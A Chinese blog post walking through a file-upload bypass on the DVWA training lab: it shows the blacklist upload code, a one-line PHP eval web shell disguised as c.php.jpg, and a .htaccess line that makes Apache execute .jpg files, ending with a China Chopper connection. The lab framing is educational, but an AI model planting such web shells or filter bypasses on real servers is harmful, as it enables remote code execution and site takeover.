当前位置:首页 > 大杂烩 > 正文内容

php文件上传漏洞图片解析漏洞

高老师6年前 (2020-08-30)大杂烩2444

(1).先看靶机代码:

<?php
if (isset($_POST['Upload']))
{
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path = $target_path . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $blackList = ['php', 'asp', 'exe', 'jsp', 'aspx', 'js', 'py', 'cpp', 'com', 'bat', 'dll', 'sh','html','rar','iso','zip'];
    if(in_array($uploaded_ext,$blackList))
    {
        echo '<pre>';
        echo 'Your image was not uploaded.';
        echo '</pre>';

    }
    else
    {
        if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
        {
            echo '<pre>';
            echo 'Your image was not uploaded.';
            echo '</pre>';
        }
        else
        {
            echo '<pre>';
            echo $target_path . ' succesfully uploaded!';
            echo '</pre>';
        }
    }
}

?>

靶机只支持运行php脚本,但是不允许上传php。

(2).创建1个c.php.jpg文件伪装为图片文件:

<?php @eval($_POST['pass']);?>

(3).访问图片文件http://192.168.147.131/dvwa/hackable/uploads/c.php.jpg发现无法执行成功,因为服务器认为是图片文件,不允许执行

(4).上传文件.htaccess 设置允许执行.jpg文件,因为服务器是apache允许这样设置。

AddType application/x-httpd-php .jpg

(5).中国菜刀连接成功

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:https://blog.20230611.cn/post/576.html

分享给朋友:

“php文件上传漏洞图片解析漏洞” 的相关文章

PHP安装mongodb扩展

PHP安装mongodb扩展

在安装之前我们先看看官方给出的依赖关系.首先是dll文件和mongodb软件的依赖关系然后是PHP文件和dll的依赖关系我的是phpstudy的集成环境PHP5.4.45 NTS+Apache+Mysql【一】.安装mongodb3.0软件对比依赖关系下载mongodb3.0.msi软件,完整名称:...

IE浏览器无法显示此页解决方案

IE浏览器无法显示此页解决方案

方案1.IE浏览器"无法显示此页"的解决办法(1).按下Win+R键打开运行,输入netsh winsock reset,回车;(2).重启即可. 方案2.IE浏览器"无法显示此页"的解决办法 (1).设置-连接-局域网设置-自动检测设置开...

IIS7.0无法加载CSS的处理办法

IIS7.0无法加载CSS的处理办法

首先网页全部是纯静态的文件,本地测试正常访问,服务器端无法加载CSS,并且无法查看CSS文件的内容。 解决方案:关闭网站的压缩->>静态压缩和动态压缩...

nginx配置https,nginx ssl配置

nginx配置https,nginx ssl配置

首先在阿里云申请免费的证书,选择自动生成证书。然后就是nginx虚拟主机配置文件的修改。以下是我的配置文件(因为公司开发小程序,没有办法只能使用https)。您只需要关注带有ssl的配置选项,我增加了一个监听80和443的端口,同时增加了http跳转https的配置server  &nbs...

 vsftp 命令,vsftp常用操作命令

vsftp 命令,vsftp常用操作命令

vsftp常用操作命令:1.启动vsftp: service vsftpd start 2.重启vsftp: service vsftpd restart3.修改用户密码:passwd lao8org4.创建用户:useradd -d /data/wwwroot/blog -s /sbin...

redis所有key命令,redis key命令

redis所有key命令,redis key命令

1.设置key的value     set name gao2.获取key的value     get name3.删除key            del key1 key2 ... Keyn4.修...